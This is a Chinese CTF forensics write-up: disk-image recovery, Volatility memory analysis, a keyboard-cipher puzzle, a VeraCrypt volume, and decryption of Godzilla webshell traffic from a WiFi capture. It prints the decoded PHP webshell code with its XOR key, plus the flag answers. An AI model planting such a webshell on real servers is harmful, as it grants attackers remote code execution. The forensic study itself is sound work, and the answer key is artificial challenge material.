磁盘取证
kali
拿到了一个不知文件类型的文件,使用file命令查看
ext3是Linux系统常用的一种日志式文件系统,版本:rev 1.0
先检查一下这个系统有什么问题
关联环回设备
sudo losetup -f --show atta.01-
关联到了**/dev/loop0**
检查
fsck.ext3 -v /dev/loop0
clean表明这个系统是"干净的",那么可以直接挂载寻找flag
挂载系统
#创建挂载点
mkdir /tmp/atta
#挂载
mount /dev/loop0 /tmp/atta
进入"/tmp/atta"找flag
cd /tmp/atta
find . -type f -name flag* 2>/dev/null
拿到一段base64:ZmxhZ3tkYXNjdGZfM2FjNTkxYjBhODMwNWEyMzdiMGVmNjBkYX0=
解密得:flag{dasctf_3ac591b0a8305a237b0ef60da}
卸载
#解除关联
sudo losetup -d /dev/loop0
#解除挂载
cd ..
umount /tmp/atta
借鉴:Linux环回设备(loop device) - 码上自由的博客
Windows
或者使用工具DiskGenius
能正常浏览
那么就寻找flag文件,先导出磁盘目录
"霜鸡"打开html目录文件并搜索
复制路径
回到DiskGenius
打开保存的文件
一看就是base64,解码得到flag: flag{dasctf_3ac591b0a8305a237b0ef60da}
[XMAN2018排位赛]file
extundelete
也是跟之前的操作一样,但是没找到,应该是将文件删除了,恢复看看
extundelete atta.XMAN2018file --restore-all
找到生成的RECOVERED_FILES目录下的文件
flag: flag{fugly_cats_need_luv_2}
DiskGenius
挂载后恢复
复制到指定路径后使用powershell的cat
内存取证
题目给了Keyboard.raw和Secret
先查看文件类型
虽然显示是追踪日志,实际上Keyboard.raw是一个还没有格式化的磁盘镜像,不过也够知道这个是Windows磁盘镜像了
使用工具:volatility
安装volatility
pyenv:
curl -fsSL https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
echo '[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(pyenv init - zsh)"' >> ~/.zshrc
source ~/.zshrc
zsh
sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list
pyenv update
apt update
apt install zlib1g zlib1g-dev libssl-dev libbz2-dev libsqlite3-dev libreadline-dev tk-dev tcl-dev
volatility3:
#git clone https://wget.la/https://github.com/volatilityfoundation/volatility3.git
#cd volatility3
export PYTHON_BUILD_MIRROR_URL="https://mirrors.huaweicloud.com/python/"
export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1
pyenv install 3.10.20;pyenv local 3.10.20
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
#pip install -e ".[dev]"
pip install volatility3
#这里先去下载符号表https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip
mv windows.zip /root/.pyenv/versions/3.10.20/lib/python3.10/site-packages/volatility3/symbols
这样安装会缺少一些功能,对于本题完全够用,想完整安装就去掉注释命令部分
文件提取
这里直接进行文件扫描
vol -f Keyboard.raw windows.filescan.FileScan > file
grep keyboard file #文件名就叫keyboard,那就通过这个关键词找
t.txt肥肠可疑,记下物理地址:0x3d700880
将文件导出
vol -f Keyboard.raw windows.dumpfiles.DumpFiles --physaddr 0x3d700880
file.0x3d700880.0xfa8004cefa80.DataSectionObject.t.txt.dat就是导出的文件
查看文件内容:
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here #flag不在这
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC #CTFWiki上的密码学基础知识(ABC在英语中常被喻为基础知识、入门等意思)
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu #解密成小写更易看出
2020- 3-29 22:39:24
But the password is in uppercase #但密码是大写的
2020- 3-29 22:38:55
a
解密
根据文档内容,密文可能是通过简单的单表替换加密的,入门的很大概率是QWE键盘密码
脚本解密:
def main():
mapping = str.maketrans('qwertyuiopasdfghjklzxcvbnm', 'abcdefghijklmnopqrstuvwxyz')
#要解密的字符串
crypto = 'CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA'
#转换为小写并应用映射
result = crypto.lower().translate(mapping)
#输出结果
print(result) #小写
print(result.upper()) #大写
if __name__ == "__main__":
main()
在线网站:quipqiup-替换密码
解得明文:
qw.py: veracryptpasswordiskeyboarddraobyek
quipqiup-替换密码: vera crypt password is keyboard drao by ek
VeraCrypt打开Secret
VeraCrypt 是一款适用于 Windows、Mac OSX 和 Linux 的免费开源磁盘加密软件,所以剩下的Secret文件应该是一个磁盘文件且被VeraCrypt加密了,需要VeraCrypt使用密码(KEYBOARDDRAOBYEK)打开
点击一个未占用的盘符(如A:)--选择文件--加载--输入密码
进入盘符A:
一直点进去就找到了
之前我就打开了隐藏的项目,所以一直点进去就发现文件了
当然,也可以用命令行,快速定位
但内容却是 flag{flag_Hidden_in_zhe_but_not_me},先提交一手,还真不是,🤡
010寻找flag
祭出我的010,直接从here.vhd里面找
拿到flag:flag{4a02f6dc603c377a234df479609d237c}
[陇剑杯 2021]wifi
题目描述:
网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:(本题仅1小问) 小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示)
附件:Windows 7-dde00fa9.vmem、客户端.cap、服务器.pcapng
给了两个流量包和一个vmem镜像,自然是要去找响应包的,先打开服务器.pcapng搜索200的响应包
什么都没有,再看看客户端.cap,全是协议为IEEE 802.11数据包,而且加密了,需要WiFi密码来解密
获取wifi密码
题目提示了"压缩包有密码提示",去查看镜像文件,vol3可以直接进行filescan
vol -f Windows\ 7-dde00fa9.vmem windows.filescan.FileScan > vmfile
搜索有关"wifi"的文件
grep -i wifi vmfile
有一个zip,记下物理地址:0x3fdc38c8
导出
vol -f Windows\ 7-dde00fa9.vmem windows.dumpfiles.DumpFiles --physaddr 0x3fdc38c8
解压发现需要密码
根据题目提示,直接cat
password is Network Adapter GUID,自然是尝试直接输入,不过没通过,再细看密码是网络适配器GUID
而无线适配器可以通过目录C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces查看GUID
grep -i Interfaces vmfile
**{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}**就是无线适配器的GUID,即压缩包密码
解压输入密码
解压出了一个xml文件,查看
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>My_Wifi</name>
<SSIDConfig>
<SSID>
<hex>4D795F57696669</hex>
<name>My_Wifi</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>233@114514_qwe</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>
确实是WiFi配置文件,故拿到了WiFi密码233@114514_qwe
拿到wireshark进行配置,"编辑" - "首选项" - "protocol" - "IEEE 802.11" - "Decryption keys" - "+" - wpa-pwd - 233@114514_qwe
分析http流量
此时再回看客户端数据包,多了不同的协议
搜索响应包
现在需要寻找小王执行cat /flag的响应包,根据时间线,小王在获取到flag后就下线了,所以直接追踪最后的响应包
72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488
回显是密文,为了判断是什么密文,去服务器端查看请求流量
pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
&key=fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ==
请求数据有pass和key两个参数,对比常用webshell管理工具,默认两个参数分别为pass和key的大概只有哥斯拉,且再注意之前的回显,密文前后都是小写+数字组合,中间像base64编码,猜测是哥斯拉的流量特征,一前一后16位应该都是md5加密字符,提取前后16位字符组成32位去解密网站试试解出来了,确定小王使用的是哥斯拉
且密码和密钥都是默认的,那猜测加密器也是,且请求数据使用eval()和base64_decode(),可以确定密文是PHP_EVAL_XOR_BASE64加密的,解出PHP_EVAL_XOR_BASE64密文是需要密钥的
解密请求取key
请求数据里应该有,先解码请求数据,把eval()去掉再输出pass即可,因为eval()里的字符就是要执行的代码
<?php
$pass = base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')));
echo $pass;
?>
输出结果:
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i $c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
得到密钥为3c6e0b8a9c15224a,接下来就是对响应结果解密
解密响应取flag
import base64
import gzip
def decrypt(s, k):
s = s[16:-16] #去除前后16位
b = base64.b64decode(s) #base64解码
#XOR解密
xor_data = bytearray()
for i in range(len(b)):
xor_data.append(b[i] ^ ord(k[(i+1) & 15]))
#gzip解压缩,哥斯拉在服务器gzdecode可用时,会将数据进行gzip压缩
return gzip.decompress(bytes(xor_data)).decode('utf-8')
#密文
enc = "72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488"
key = "3c6e0b8a9c15224a" #密钥
result = decrypt(enc, key)
print(result)
或使用工具nocultrue/Deco_Godzilla: 解密哥斯拉所有类型流量
拿到flag: flag{5db5b7b0bb74babb66e1522f3a6b1b12}
BUU只给了一个文件,我从Bugku CTF平台上找的题目文件pan.baidu.com/s/1F1Km6CMH…
题目文件出处:WIFI
借鉴: